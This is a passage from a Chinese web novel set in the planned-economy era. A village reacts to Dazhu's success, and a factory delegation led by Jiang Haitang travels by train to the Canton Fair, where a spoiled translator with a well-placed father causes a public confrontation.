他们不约而同想起去年李家人要把姜海棠送给二赖子的时候,他们都在冷眼旁观,要是当时大柱在会怎么做? 要是大柱在,肯定会帮着姜海棠…… 第207章 出发之前 “活该人家有出息!”突然,一道苍老且有力的声音直直地传入众人的耳朵里。 众人闻声,纷纷回头,只见赵家老祖拄着一根古朴的树根制作的拐杖,不紧不慢地走了过来。 他的身影虽有些佝偻,可眼神中却透着一股让人不敢直视的威严。 在场的人见状,急忙恭敬地向赵老祖问好。 赵老祖微微点头示意,随后目光落在了赵大山身上,眼里满是掩饰不住的满意。 老赵家这么多的人,还是大山会养孩子,才养出了大柱这么个好孩子。 “赵玉柱那孩子,看见海棠有事都会帮忙,大山媳妇大冬天送海棠去看病,大山上山砍柴,也会帮着海棠砍一点,你们呢?” 赵老祖的声音不大,却像重锤一样,一下一下地敲在众人的心上。 众人听了,有的羞愧地低下了头,有的则面露尴尬之色。 赵老祖这番语重心长的话,就像一场及时雨,浇灭了某些人心里那股酸溜溜的嫉妒之意。 看着众人的心情似乎平复了一些,赵老祖又接着说道:“你们的心思我都知道,只是,赵玉柱也是咱们赵家的娃,是咱们清水沟的娃,他出息了,是我们清水沟的荣耀。” 赵老祖说话的时候,没有称呼大柱的小名,而是用了赵玉柱这个大名,可见,在赵老祖的心里,对大柱的看待是不同的。 话虽然是这么说没错,可大家的心里还是像被什么东西哽住了一样,有些不太舒服。 毕竟,这样的好事突然降临在别人头上,难免会让人心里不平衡。 “不管你们是不是能接受,这都是事实,我希望你们不要因为那些个小心思,让清水沟蒙羞。另外,对海棠,你们应该怎么面对,心里得有个章程。” 赵老祖的目光如炬,扫了一眼那些曾经得罪过姜海棠的人。 原本,海棠受委屈,只是李家的错,现如今李家不在清水沟了,他们和姜海棠就是无冤无仇,偏偏被几个蠢货给连累了。 赵老祖暗自想着,得找个时间商量一下,那几个蠢货要再好好收拾一番才好,免得将来再做出什么损害村子名声的事。 三癞子和狗剩子几个人可不知道,他们又要倒霉了,又要开始那挑粪的苦日子了。 夜深了,喧闹了一天的赵大山家终于安静了下来。 蔡婶子坐在炕上,轻轻摸着那崭新的被褥,这是用姜海棠送的瑕疵布做的。 她突然叹了口气,对一旁的赵大山说道:“当家的,你说……咱要不要给海棠送点啥?咱们这人情欠大了啊!” 他们这样的村子,几十年都不见得能出来一个工人,可现在,他们家大柱却得了这样的好机会。 她虽然是女人,但不是糊涂人,当然知道,这都是姜海棠的功劳,没有姜海棠的提携,这样的好事根本轮不到他们。 赵大山磕了磕烟袋锅,沉思片刻后说道:“送啥?海棠现在日子过得舒服,过两天我们去城里看看大柱,给海棠带点儿咱家的小米、新鲜菜,再把老母鸡杀了带上给海棠补补身体……” 与此同时,知青点里也热闹非凡,大家正在热烈地议论着大柱的事。 “真没想到,大柱能有这造化。”女知青张晓雅一脸感慨,眼神中满是羡慕。 “要我说,姜海棠这人够意思。当初,不知道有多少人说,赵大山家帮着姜海棠是做无用功……”李庆祝推了推鼻梁上的眼镜,也忍不住发出感慨。 话还没说完,外面突然传来一阵喧哗声。 打开门,只见康生芳提着一盏灯笼,灯光在风中摇曳,映照着她略显为难的脸庞。 她的身旁,站着一个哭哭啼啼的姑娘。 “知青同志们,帮个忙……”康生芳一脸为难地说道。 “康婶子,您有什么话只管说。” “这是我侄女小翠,你们都认识,她非在家闹着要学文化,只是,这么大的姑娘了,也不好送去学校……” 康生芳说的时候,都有些不好意思,十七八岁的姑娘了! 众人面面相觑,心里都犯起了嘀咕。 这小翠不是三癞子的堂妹吗? 以前大队里组织的扫盲班,他们家都是不参加的,怎么现在突然想学文化了? 李庆祝突然明白了什么,嘴角微微上扬,意味深长地笑了:“想学文化是好事,康婶子,小翠同志,你们先进来吧。” 送走了康生芳和小翠,张晓雅满脸好奇地问:“你怎么答应他们这样的要求?每天上工就够累了!” “我们的机会来了。”李庆祝神秘兮兮地笑着说,眼睛里闪烁着兴奋的光芒。 “什么机会啊?”另外一名女知青郑秀芳也好奇地凑了过来,急切地问道。 “清水沟没有学校,我估计,有了大柱这个榜样,很多人都会主动学习,说不定,会在大队里办学校,可不就是我们的机会?”李庆祝分析得头头是道。 清水沟大队只有三个知青,如果真的要办学校,老师肯定要从他们中间产生,三个年轻人心里各自盘算开了,都期待着这个难得的机会能够降临到自己头上。 毕竟,要是能当老师,以后就不用去田地里从事繁重的劳动了,当真是天大的好事啊! 第二天清晨,天刚蒙蒙亮,赵志坚就早早地走出了家门。 可眼前的景象却让他一下子惊呆了,院子外面密密麻麻地挤满了人,个个手里都拿着本子,脸上满是期待的神情。 “大队长,我想学开拖拉机!”一个年轻小伙大声喊道,眼神中充满了渴望。 这个小伙子叫王克东,当初公社有个学习开拖拉机的名额,赵志坚想了再三给他了,可王克东说,大队里没有拖拉机,学了没用,拒绝了。 “我想让我家娃娃读书……”一位抱着孩子的妇女也跟着说道,语气中满是焦急。 “扫盲班能不能重新办起来?我们这次一定好好学……”众人你一言我一语,声音此起彼伏。 “昨天晚上,我就把我家几个兔崽子给揍了,上学的时候,不好好学习!”一个大叔满脸懊悔地说道。 赵志坚只觉得脑仁子疼,他皱了皱眉头,板着脸说:“一个个的,现在知道着急了?早些时候,你们都干啥去了?” “你们以为学校是你们想要就能有的?这事儿还要上报公社,等公社同意了,才能办。”赵志坚耐心地解释道。 “大队长,您就去公社里申请一下,我们寻思这是好事,说不定,公社的领导能同意。”众人纷纷劝说着,眼神中满是期待。 “是啊,大队长,我们可就等着您的好消息了。”大家的声音充满了诚意,让赵志坚无法拒绝。 赵志坚心里却乐开了花,他表面上虽然一脸严肃,可内心却十分欣慰。 知道上进就好啊,就怕一个大队的年轻人都不求上进,浑浑噩噩地过日子! 此时的姜海棠,已经做好了充分的准备,即将登上列车前往花城参加广交会。 与去年的秋季广交会相比,这一次,他们纺织厂的准备更加充分,带的样品更多,队伍也更壮大一些,从十个人的队伍,扩大到了二十个人。 而且,他们这一次是和机械厂一起去花城参加广交会,如此一来,浩浩荡荡的好几十个人在车站集合的时候场面十分壮观。 站台上人头攒动,红旗招展,一条“龙省工业代表团参加春季广交会”的横幅在风中猎猎作响,向人们宣告着这次出行的重要性。 站台上,商贸厅的领导正在为参加广交会的同志们送行,他们的脸上满是期待和鼓励。 领导少不得要讲一番鼓励的话,为出行的同志壮行。 姜海棠紧了紧藏蓝色列宁装的领口,将一缕散落的黑发别到耳后。 她站在队伍最前方,身姿挺拔,眼神坚定。 她的身后,韩知秋和康小夏以及女工戴冰兰三个人正在叽叽喳喳地说话,主要是康小夏在说话,她的脸上带着一丝紧张和兴奋,嘴里不停地问着各种问题。 韩知秋则耐心地回答着,她已经参加过广交会,经验丰富,对各种情况都比较了解。 戴冰兰在一旁耐心地听着,时不时也插上一两句,主要是问一些自己不了解的情况。 韩知秋耐心的回答,很快吸引了其他人也凑到了她的身边。 大家都知道,要出发了,多了解情况肯定有好处,所以都竖起耳朵,认真地听着韩知秋的讲解。 “人都到齐了吗?”刚才去给商贸厅领导汇报过工作的赵凯声音洪亮地问。 “赵厂长,咱们纺织厂的人都齐了!机械厂好像还差一个人,等人都齐了,我们就能上车了。”厂办的高干事立即回答。 赵凯严肃地看看大家:“刚才商贸厅的领导说,这一次我们纺织厂的展位比较多,希望我们能创出新高,为国家赚取更多外汇!” 参加广交会的同志们听到赵凯这话,都开始鼓掌,并表示:“我们一定认真完成工作!” 第208章 格格不入的人 大家的声音充满了决心和信心,仿佛已经看到了成功的曙光。 和纺织厂这边有女同志不同,机械厂那边清一色穿着深蓝色工装的男同志。 他们此时正围着几个大木箱忙活,领头的男人约莫四十岁上下,方正的脸庞被春风刮得泛红,正高声指挥着搬运工作。 这个人,姜海棠认识,是机械厂的副厂长郑开河。 “郑厂长!”姜海棠挥手招呼,“需要我们帮忙吗?” 她的声音清脆响亮,充满了热情。 机械厂副厂长郑开河闻声抬头,露出朴实的笑容:“谢谢海棠同志,马上就装完了!咱们按计划,纺织厂的同志先上车安置样品,我们随后就来!” 毛厂长和朱厂长都给他说了,这次去,有悬而未决的事,就找姜海棠商量,还说了,姜海棠虽然在纺织厂坐班,但也是机械厂的人,又是个有见识的,能帮到他。 “郑厂长,人齐了吗?”姜海棠关切地问道。 “还缺一位女同志,是我们的翻译。”郑开河皱了皱眉头,脸上露出一丝焦急。 姜海棠想起来了,机械厂这边确实有一个翻译是女的,好像叫什么颜培文。 这是个出自高干家庭的女同志,平时是有些傲气在身上的,之前姜海棠为两个厂的同志教外语的时候,颜培文表现得十分不耐烦。 上了两节课之后,她说,自己在家就可以学习,不用跟着姜海棠一个乡下来的泥腿子学习。后来,颜培文就再也没有来过课堂。 她倒是真意外,机械厂这一次选了颜培文做翻译。 不过,这是机械厂的事,她过多的干涉也不好,只是到了这会儿都还没来,也太没有时间观念了。 “同志们注意了!”站台上的大喇叭突然响起,清亮的女声在站台响起,“开往**的K245次列车即将进站,请各位旅客准备上车……” 随着一声长鸣,墨绿色的列车缓缓驶入站台,车身在阳光下闪烁着金属的光泽。 姜海棠迅速组织纺织厂的女工们先上车安置样品,这一次,他们专门为广交会准备了十多种新式布料样品,每一种都是工人们熬了无数个夜晚反复试验的成果,凝聚着大家的心血和汗水。 “小心台阶。”她提醒着身后的工友,同时侧身给搬运大型设备的机械厂同志让路。 两个厂子的同志互相礼让,秩序井然地上车,场面温馨而和谐,展现出了良好的团队合作精神。 车厢里很快热闹起来,纺织厂的女工们占据了左侧的座位,她们一边安置样品,一边小声地讨论着这次广交会的计划和期望。 机械厂的同志们则在右侧安顿设备,他们小心翼翼地搬运着设备,确保设备安全无损。 只是,眼看着再有三分钟火车就要开了,颜培文居然还没有上车。 郑开河明显地着急了,他不停地看着手表,又向站台出口张望着,脸上的焦急之色越来越浓。 “颜培文怎么回事,怎么还没到?”郑开河问厂办的工作人员:“给她通知了吗?”他的声音中带着一丝不满和焦急。 厂办的干事小马也很无奈啊,他肯定已经通知到位了,也不知道这位大小姐是不是睡迷糊了,把这件事给忘了! “郑厂长,我明确通知了,车票也已经给颜培文同志了,当时颜培文同志也明确表示自己不会迟到。” 列车马上就要开了,这时候还不来,肯定赶不上了啊。 要是他们这一次没有翻译人员,可怎么办啊! 马干事焦急地想着,这时候,只听见“呜——”的一声,火车汽笛拉响,紧接着,车轮开始缓缓转动。 郑开河黑着的脸真的不能看了,他额头渗出细密的汗珠,手指紧紧攥着车窗边框,指节都泛了白。 这是他第一次带队去参加广交会,上面的领导对此十分重视,怎么能出这样的差错? 没有翻译人员,那就跟哑了聋了一样啊! “郑厂长,别看了,已经发车了。”向文涛低声提醒,“颜培文同志赶不上了。” 他其实也不是很看到颜培文,无奈,颜培文是上面有人的,包括这一次当翻译也是有人安排了的,他们反对不了。 郑开河重重叹了口气,回到自己的座位上坐定。 罢了,没有翻译就没有翻译吧,这一路上和海棠同志好好说说,如果海棠同志能帮帮机械厂,一切还有机会。 因为颜培文这个翻译没有上车,机械厂这边的气氛就要比纺织厂这边沉默许多。 大概过了半个小时,忽然车厢连接处传来一阵骚动。一个穿着米色风衣的年轻女子施施然走来,散开的头发随着步伐轻轻晃动,在朴素的车厢里格外扎眼。 “颜培文同志?”郑开河瞪大了眼睛。 “郑厂长好。”颜培文漫不经心地点点头,红唇微微上扬。 她也就只对着郑开河打了招呼,至于其他同志,像是没看到一样,完美诠释了什么叫做目中无人。 “你什么时候上车的?”火车刚出发半个小时,都没有经停,要是迟到,不应该在车上啊。 “哦,是这样的,郑厂长,我一直在卧铺车厢。”她一点愧疚的意思都没有,轻描淡写地说。 车厢里顿时安静下来,纺织厂的同志们互相交换着眼神,机械厂的男同志们也面露尴尬。 姜海棠注意到颜培文说“卧铺车厢”时那种理所当然的语气,一时都不知道该说什么了。 他们去参加广交会,硬座车厢都是单位统一订的,卧铺车厢就连带队领导都没有资格,就像去年,毛厂长那样大的年龄,也和他们一样,乘坐硬卧去的。 郑开河脸色变了变,最终还是挤出一个笑容:“来了就好,颜同志,这边给你留了位置……” “不用了,郑厂长,我就是过来跟你们打个招呼。”颜培文打断他,手指轻轻掸了掸风衣上并不存在的灰尘,“我在卧铺那边安顿好了,行李都放那儿了。我是真的接受不了这边乌烟瘴气的环境,您知道的,我这个人,对生活的要求有些高!” 说话的时候,颜培文还明显地表露出了对于硬座车厢的嫌弃,那鄙夷都要从脸上溢出来了。 她的视线在看到姜海棠时微微一顿,嘴角勾起一个似笑非笑的弧度:“哟,姜老师也在啊。” 姜海棠平静地点点头:“颜同志好。” 颜培文这句姜老师,姜海棠可不觉得是尊称,上次外语课不欢而散时,颜培文就是用这种语气叫她“姜老师”的,带着明显的嘲讽。 不过,姜海棠没打算和这种脑容量不太够的人多说什么,没得拉低智商。 “我听说这次广交会外商很多,”颜培文拨弄着胸前的珍珠胸针,“希望姜老师的‘实用口语’能派上用场。” 她在“实用“二字上加了重音,眼角甚至流露出意思鄙夷。 “海棠姐教的外语可管用了!……”康小夏听不下去了,立即开口反驳。 “小夏!”姜海棠轻轻摇头制止了她,转而看向颜培文,“颜同志肯定比我们懂得多。郑厂长,既然颜同志来了,咱们是不是把行程再核对一下?“ 郑开河感谢姜海棠给自己递了一个台阶,让自己不这么尴尬,忙连连点头:“对对,颜同志,这是会议日程……” 他忙不迭从公文包里掏出一叠文件。 颜培文却没有接的意思,只是随意瞥了一眼:“我都看过了。对了郑厂长,既然这边也没什么事,那我就先回去了!这边太挤了,空气也不好,要是有什么事,郑厂长可以让人去6号车厢找我。” 说完之后,颜培文扭着腰,在众人各不相同的目光中款款离开! 郑开河的表情顿时变得复杂起来,带着几分尴尬。 他偷瞄了一眼周围的同志,好在大家都没有对他表示同情。 可是,郑开河觉得,自己的尊严被挑衅了,虽然颜培文的父亲在硌委会工作,手握大权,但她不能这样目无领导目无规矩啊! 直到她的身影消失在车厢连接处,凝滞的空气才重新流动起来。 小马干事忍不住小声嘀咕:“摆什么架子嘛,大家都是去工作的……” “小马,算了。”郑开河尴尬的说。 这时候,提起颜培文,只会让人觉得自己这个带队的副厂长无能。 郑开河压下心头的不满,对姜海棠歉意地笑笑:“颜同志她……性格比较直爽。” 姜海棠温和地说:“好在,颜培文同志是翻译,这会儿不和我们在一起也没关系。咱们还是抓紧时间再熟悉一下流程,然后检查样品和设备吧。” 郑开河感激地看了她一眼,也拿出了行程表。 姜海棠看着颜培文离开的方向,有种很不好的感觉:颜培文这个傲慢的翻译肯定会给接下来的行程带来麻烦,得提前做好准备。 “海棠姐,”康小夏凑过来小声说,“那个颜培文明显看不起我们,为什么你还……” 海棠姐可比这个什么颜培文要厉害多了,颜培文有什么理由看不上海棠姐? “小夏,不用为了这种事恼火,我们去广交会是为了展示龙省工业成果,不是为了跟谁置气。”她抬起头,眼神坚定,“不管别人怎么想,我们做好自己的本分就行。” 康小夏似懂非懂地点点头。 而在前方的6号车厢,颜培文正靠在卧铺上,用随身听放着英文磁带。 真是一群土老帽,她有随身听这么好的老师,何必听姜海棠这个土包子的? 第209章 那个官家小姐 火车“况且况且”地行驶在华北平原上,窗外的麦田泛着新绿。 姜海棠正低头在笔记本上梳理这一次去广交会上可能会发生的情况,忽然听到车厢那头传来一阵骚动。 “你瞎了眼吗!“尖锐的女声像生锈的铁钉刮擦玻璃。 姜海棠抬头,只见颜培文正站在过道中央,米色风衣袖口沾染了些许水渍,她那凤仙花汁染过的指甲几乎要戳到老妇人鼻尖。 “敢用热水泼我!”她反手就将大娘搪瓷缸子里的水都泼在大娘的身上。 老妇人瑟缩着后退半步,带着补丁的蓝布衫被泼上了大半缸子的热水,让她显得更加落魄可怜。 她后退的时候,不小心蹭到座椅铁架,怀里的粗布包袱随着颤抖微微起伏。 “对、对不住啊闺女,火车晃了一下……我真的不是故意的!” 老妇人局促地道歉,粗糙的手指绞着包袱皮,指甲缝里还沾着未洗净的泥土。 姜海棠还看到老妇人的身体在微微颤抖。 “闺女,你叫谁闺女呢?谁是你闺女,也不看看自己是什么下等人。我身上的衣服可是从沪城百货大楼特供部买的,够你全家吃一年!弄成这样,你赔得起吗?” 颜培文声音又拔高了几分,引得周围乘客纷纷侧目。 在这个年代,大家都不觉得贫穷有什么见不得人的,颜培文这些话自然引起了其他乘客的不适。 就连机械厂和纺织厂的人也觉得十分不舒服。 姜海棠皱了皱眉,正要起身,郑开河已经快步走了过去。 “颜培文同志,这位大娘不是故意的。来,我这儿有手帕……” “用不着!”颜培文甩开郑开河的手,突然指着老妇人的包袱,“等等!你这包袱里装的什么?怎么有股怪味?” 老妇人慌忙解释:“是、是俺家自产的旱烟叶,带给花城的儿子……” “烟叶?”颜培文夸张地捂住鼻子,“怪不得闻着一股子臭味!列车员呢?这种有味的东西怎么能带上车?” 几个抽旱烟的老汉不乐意了,烟袋锅在鞋底磕得砰砰响,“姑娘,你这话可不中听,这味儿闻着踏实!” 他们的话,却被颜培文的冷笑截断:“踏实?熏得人头疼!要是外商闻到这味儿,还以为咱们国家都是土包子!“ 几个人听她这么说,没有再开口,只是看着她。 “都看什么看?知道我可是代表龙省参加广交会的翻译!这次要见多少外宾吗?衣服沾了这股子穷酸气,丢的可是国家脸面!耽误了给国家赚外汇,你们谁能担待得起?” 周围的人被戴上这样一顶大帽子,哪里还敢说什么。 姜海棠再也坐不住了,她走到老妇人身边,轻轻扶住她发抖的手臂。 “大娘,您回座位吧。”说着接过她的包袱,打算送大娘去自己的位置,“烟叶用油纸包严实就不散味儿了,我正好还有一点油纸,帮您重新包一下。“ 老妇人感激地连连点头。 颜培文却冷笑一声:“哟,姜老师倒是会做人情。不过你那些土布样品跟这烟叶倒挺配,都一股子穷酸气。” 她看不上姜海棠,十分看不上,凭什么一个乡下来的女人,能让所有的人都喜欢? 车厢里安静下来,所有的人都看着颜培文,尤其是纺织厂的人,面色更是十分不好看。 毕竟,颜培文这话,是直接把他们纺织厂的脸面丢在地上踩! 向文涛终于没忍住开口了:“颜同志,你怎么能这么说..……” “我说错了吗?”颜培文环顾四周,声音故意提高,“你们纺织厂那些劳动布、粗呢料,外商早就不稀罕了!现在国际上流行的是化纤面料!看到没,就是我身上这种布料,才显得高级、洋气!” 颜培文说出这一番话的时候,面上的鄙夷丝毫不加掩饰,她是真的看不上纺织厂的那些布料。 甚至,就连机械厂她都看不上,她理想中的生活,应该是去京城或者沪城那样的大城市里,金城这样穷酸的地方,有什么好? 赵凯听到颜培文竟然如此诋毁他们纺织厂,恨不得上前就给她一巴掌,如果他只是一个小干部,他可能真的就这么做了。 但现在不行,他是纺织厂的副厂长,一言一行代表的纺织厂,不能在这种时候冲动。 他只是默默地走到姜海棠的身后站着,表达出自己对姜海棠的支持。 姜海棠不慌不忙地包好烟叶,抬头平静地说:“颜同志可能不了解,我们这次带的混纺呢料加入了30%的涤纶,既保留了羊毛的保暖性,又增强了耐磨度。” “那又怎么样,还不是一股子穷酸的臭味,说不定,就和这个烟叶一样的味道!”颜培文丝毫都没有觉得自己说错了,反而更加得意。 姜海棠不紧不慢地从自己随身的包里拿出一块样品,“要不您闻闻,看有没有烟叶味儿?” 车厢里响起一阵轻笑。 颜培文没想到姜海棠竟然会这样不给自己面子,当即脸色铁青。 她正要发作,一个穿铁路制服的乘警走了过来:“怎么回事?” “这位同志,真是对不起,是我们讨论工作声音大了些,打扰大家了。”姜海棠抢先开口。 她转向颜培文,声音放低,“颜同志,咱们别影响其他乘客休息。” 要是正常人,这时候就该息事宁人了,可颜培文是谁啊?她就不是个正常人。 颜培文一把拍开姜海棠递来的布料样品,崭新的混纺呢料“啪”地掉在地上,沾上了车厢地板上的灰尘。 “少在这儿假惺惺的装好人!”她尖厉的声音刺得人耳膜生疼,“姜海棠,你以为你是谁?一个乡下来的土包子,也配教我做事?” “道歉!”赵凯忍无可忍地呵斥。 可颜培文嚣张惯了,怎么可能会把赵凯放在眼里? 她挑衅地朝着赵凯看了一眼,只给他一个冷哼。 郑开河的脸色也彻底沉了下来。 他弯腰捡起那块样品,轻轻拍去灰尘,双手递还给姜海棠:“姜工,对不起,我代替颜培文同志给您道歉,样品您收好。” 姜海棠忙说:“郑厂长,您不用这样。” 郑开河摇摇头,转向颜培文,声音冷得像块铁。 “颜培文同志,请你立刻向姜工和这位大娘道歉。” “道歉?郑厂长,你让我给姜海棠道歉,你是不想好好的了?” 颜培文像是听到了什么笑话,涂着口红的嘴唇扭曲出一个夸张的弧度。 整个车厢鸦雀无声,连列车员都僵在原地,不敢插话。 赵凯的拳头捏紧又松开,松开又捏紧,姜海棠害怕赵凯冲动之下把人给打了,忙给康小夏使个眼色,让她拉住赵凯。 郑开河的手指微微发抖,但声音异常坚定:“我是这次代表团的负责人,有权维持纪律。颜培文同志,你现在的行为已经严重影响了团队团结,如果继续这样,我只好请你下一站下车,返回金城。” 郑开河的语气决绝,让在场的人都吃了一惊,毕竟,机械厂颜培文这个人,大家都是抱着能不招惹就不招惹的想法。 郑厂长这样不给她面子,还不知道要迎来多少风波。 “你敢!你竟然会为了姜海棠,让我受委屈?你们是什么关系?莫不是她勾搭上你了?”颜培文没想到,郑开河竟然敢这样对自己,当时就破防了。 郑开河差点被气得心梗,他怎么也没想到,高干出身的颜培文竟然是这样的素质,开口就能给别人造黄谣。 这要是传出去,别人还指不定怎么说呢。 姜海棠注意到郑开河的脸色变得煞白,知道这是被气到了,她从心里叹息一声,郑厂长带着这么个人,也是真的不容易。 她知道颜培文的父亲是硌委会的实权人物,一句话就能决定一个副厂长的前途。 郑厂长这个人,挺务实的,姜海棠不希望他因为自己和颜培文起冲突,影响到前途。 “郑厂长……”姜海棠轻声唤道,想给他个台阶下。 但郑开河突然挺直了腰板,他深吸一口气,一个字一个字地说:“颜培文同志,就算是你父亲在这里,我也要说,一个连普通劳动群众都不尊重的人,不配代表龙省参加广交会!” 车厢里响起一阵压抑的惊呼,一个戴眼镜的中年人甚至偷偷竖起了大拇指。 颜培文的脸涨得通红,她猛地抓起桌上的搪瓷缸就要往郑开河身上砸。 姜海棠眼疾手快,一把拦住她的手腕:“颜同志!冷静点!非得让所有人看你笑话?” “放开!”颜培文尖叫着挣扎,“你们这些下等人,知道得罪我是什么下场吗?我爸爸一句话就能让你们全都滚回车间当工人!” 老妇人被颜培文这一番操作吓到了,突然“扑通”一声跪了下来:“闺女,都是俺的错,你别为难他们……” 姜海棠心头一颤,赶紧去扶老人:“大娘,您别这样!” 颜培文趁机挣脱,指着姜海棠的鼻子:“好啊,你们联合起来欺负我是吧?等着瞧!”她转身就往卧铺车厢跑,大概是过于激动,差点儿绊倒。 车厢里一片死寂,过了好一会儿,列车员才小声说:“那个……下一站是商都,要停20分钟……” 郑开河抹了把脸,声音沙哑:“姜工,对不起,连累你们纺织厂了。” 姜海棠摇摇头,扶着老妇人坐下:“郑厂长,您做得对。只是……” 第210章 告状 欲言又止。 “我知道后果。”郑开河苦笑一声,“回去后我这个副厂长怕是当到头了。但有些事,事关原则,不能让步。” 那个戴眼镜的中年人突然开口:“同志,你们是去参加广交会的?” 郑开河点点头。 “我也是要去参加广交会的,刚才那位女同志的行为,我会如实向组委会反映。不会让坚持原则爱护群众的同志受委屈。” “我们准备一下该换车了,不管怎么样,都等这一次广交会结束吧。” 郑开河和姜海棠对视一眼,都从对方眼中看到了希望。 远处传来火车进站的鸣笛,他们就要下车了。 赵凯忙招呼自己家的人准备搬样品。 他们的换乘时间只有两个多小时,商都站的月台上人头攒动,广播里女播音员的声音在嘈杂中时隐时现。 姜海棠和纺织厂的同志们正忙着将样品箱搬上南下的列车。 “小心那个柳条箱!”姜海棠提醒着搬运的工人,“里面是混纺呢料样品,不能受潮。” 康小夏抹了把汗,凑过来小声说:“海棠姐,怎么没看到颜培文那个疯子?” 姜海棠手上动作没停:“别管她,咱们做好自己的事。再有半小时就发车了,再检查一遍样品清单。” 远处,郑开河正和列车员交涉着什么,眉头紧锁。 姜海棠走过去,听见他在说:“……硬座车厢太挤,样品容易受损……” “郑厂长,怎么了?”姜海棠问道。 郑开河转过身,脸色不太好看:“这趟车比预计的拥挤,咱们的样品箱没地方放。” 正说着,那个戴眼镜的中年人走了过来:“两位同志,我刚才和列车长商量了一下,可以给你们腾出半个行李车厢放样品。” 郑开河和姜海棠惊喜地对视一眼,这位能在这样拥挤的车厢里协调到放样品的车厢,不是一般人啊。 郑开河忙说:“太感谢了!您是……” “我姓周,外贸部的工作人员。”中年人笑了笑,“接下来的行程,我们依然在一个车厢。” 听到这人说还在一个车厢,姜海棠和郑开河还有赵凯都没多想,毕竟,坐在硬座车厢的,肯定不是多有地位的人。 火车马上就要启动了,众人还是没有见到颜培文。 实际上,颜培文从下车之后,不知道就去了什么地方,大家都没看到。 郑开河也没问,反正,这个人在他心里,就当不存在就对了。 当汽笛鸣响,列车缓缓启动时,姜海棠终于松了口气,靠在硬座车厢的椅背上闭目养神。 再说颜培文下了火车,快步穿过拥挤的月台朝着这站外走去。 站前广场东侧的红砖小楼顶上,“人民邮电”四个褪色的大字在夕阳下显得格外陈旧。 “同志,打长途。”颜培文将工作证拍在柜台上,指甲在玻璃台面上敲出急促的声响。 柜台后的女营业员慢吞吞地翻开证件,抬眼打量这个衣着光鲜的年轻女子:“介绍信呢?长途电话要登记。” 颜培文不耐烦地从内兜掏出一张盖着红头的信笺:“快点!我有急事!” 营业员瞥见信笺上的单位名称,动作明显快了几分。 她递过登记簿:“填一下号码和事由。” 钢笔尖在纸上狠狠戳出几个墨点。 颜培文写下那个她烂熟于心的号码,在“事由”栏龙飞凤舞地写上“公务汇报”。 “三号间。”营业员指了指走廊尽头漆成军绿色的小木门。 电话间的霉味混着烟味扑面而来。 颜培文嫌弃地拧眉之后,还是砰地关上门。 抓起黑色话筒的瞬间,眼泪已经蓄在眼眶里——这是她从小练就的本事,只要想到父亲严肃的脸,眼泪就能说来就来。 “喂?革委会办公室。”电话那头是个年轻男声,这个声音颜培文也很熟悉,是他父亲的秘书。 “我是颜培文,找我爸!”她声音里的哭腔恰到好处。 转接的等待音像钝刀割着神经。 当那个低沉的男声终于响起时,颜培文的眼泪立刻决了堤:“爸!他们欺负我!” “怎么回事?慢慢说。”颜父的声音带着习惯性的威严。 “郑开河那个王八蛋,为了个乡下女人要赶我下车!”她抽泣着,把火车上的冲突添油加醋说了一遍,自然略去了自己泼水骂人的部分,“那个姜海棠仗着在纺织厂有脸面,根本不把您放在眼里!还有郑开河,说什么就算您在这我也这么说……” 电话那头沉默了几秒:“姜海棠?是不是金城纺织厂那个技术骨干?” “就是个乡下土包子!”颜培文没注意到父亲语气的变化,咬牙切齿地说,“爸,您得给我做主!那个郑开河……” “行了,这事儿我知道了。”颜父打断她,“你现在在哪?” “商都站!换车去花城。”颜培文抹了把眼泪,“爸,您要为我做主,把那个姜海棠给开除了,我不想再看到他,还有郑开河,回去就撤他的职!” 电话那头传来纸张翻动的声音。 颜培文知道,父亲这是在看日程表,每次要给她解决问题时都这样。 “听着,”颜父的声音突然压低,“你现在立刻去找郑开河还有姜海棠道歉。” “什么?!”颜培文差点摔了话筒。 “省里刚接到通知,外贸部周副部长要暗访这次广交会。”颜父一字一顿地说:“这事情如果闹大了,对我都有影响。要处理郑开河和姜海棠,不急在一时,等回到金城,我们有的是机会。” 颜培文虽然不是很满意,但父亲都这么说了,她也没办法,只能讷讷应下。 “爸爸,我答应不闹事,可能不能不道歉……”她为什么要道歉?这是她不能接受的! “糊涂!”颜父厉声喝道,“周副部长最讨厌搞特殊化!你现在马上去挽回影响,要是连累到我……” 这时候,颜培文听到电话那头传来敲门声,颜父迅速转换语气,“好了,按我说的做。记住,别惹事!” 咔嗒! 电话挂断了。 颜培文僵在电话间里,话筒里“嘟……嘟……”的忙音像在嘲笑她。 门外,营业员不耐烦地敲门:“同志,超时了!后面还有人等着呢!” 颜培文机械地掏出五块钱拍在桌上,跌跌撞撞地冲出门去。 颜培文觉得自己很委屈,找了地方坐着发呆,知道站前广场的喇叭正在播报:“开往花城的K***次列车即将发车,请旅客抓紧时间上车...“ 她立即往回跑,米色风衣在人群中划出一道仓皇的轨迹。 当她狼狈不堪地爬上车厢时,远处传来发车的哨声。 颜培文瘫坐在连接处,突然意识到一个可怕的事实,她必须去给那些“下等人”道歉,不,她不要。 颜培文想着,就算自己不去道歉,父亲也不会知道,算了,自己不去,等回头就说去过了。 车厢里的同志们也三三两两聊起天来,有人拿出扑克牌,还有些妇女开始织毛衣,热闹得不行。 很快,就到了晚餐时间,广播响起:“各位旅客请注意,餐车现在开始供应晚餐……” 姜海棠他们带着的吃食已经给吃完了,剩下的旅程要在火车上买饭吃。 周同志笑着邀请他们一同去吃饭。 “快到晚饭时间了,我们一起去餐车看看?” 姜海棠安排了两名同志看着他们的行李,和赵凯一起带着其他人去了餐车。 郑开河这边,也是一样的安排。 窗外,暮色渐浓。 列车呼啸着穿过中原大地,向着温暖的南方疾驰而去。 姜海棠望着远处闪烁的灯火,心中已有了打算,无论如何,这次广交会,一定要让龙省的产品大放异彩。 正思索间,忽然听到列车广播寻找医生,好像是七号车厢有人生病了。 七号车厢,正好是他们这列车厢的隔壁,姜海棠便想着过去看看,说不定能帮忙。 她招呼康小夏陪着自己一同去,却惊讶地发现,生病的正是之前被颜培文泼了水的大娘。 姜海棠忙上前抓住大娘的手,却发现大娘的手烫得惊人,“您发烧了?” 一旁的乘务员忙说:“这位大娘高烧,都快晕厥过去了。” 老妇人看到是姜海棠,忙挤出一抹笑容摇摇头:“没事,就是有点头晕……” 话音未落,老人突然向前栽去。 姜海棠赶紧扶住她,一摸额头滚烫得厉害:“小夏,我们是不是带药了?有没有退烧药?” “好像有,在知秋姐那里,我去找。”康小夏说着一溜烟的朝着他们所在的车厢跑去。 这时候,有两名医生一前一后赶到,在确定了大娘的情况之后说道:“老人身体弱,现在天气又不热,受了凉。先吃退烧药,吃了药烧能退下来就行,如果退不下来,下一站考虑送医院救治。” 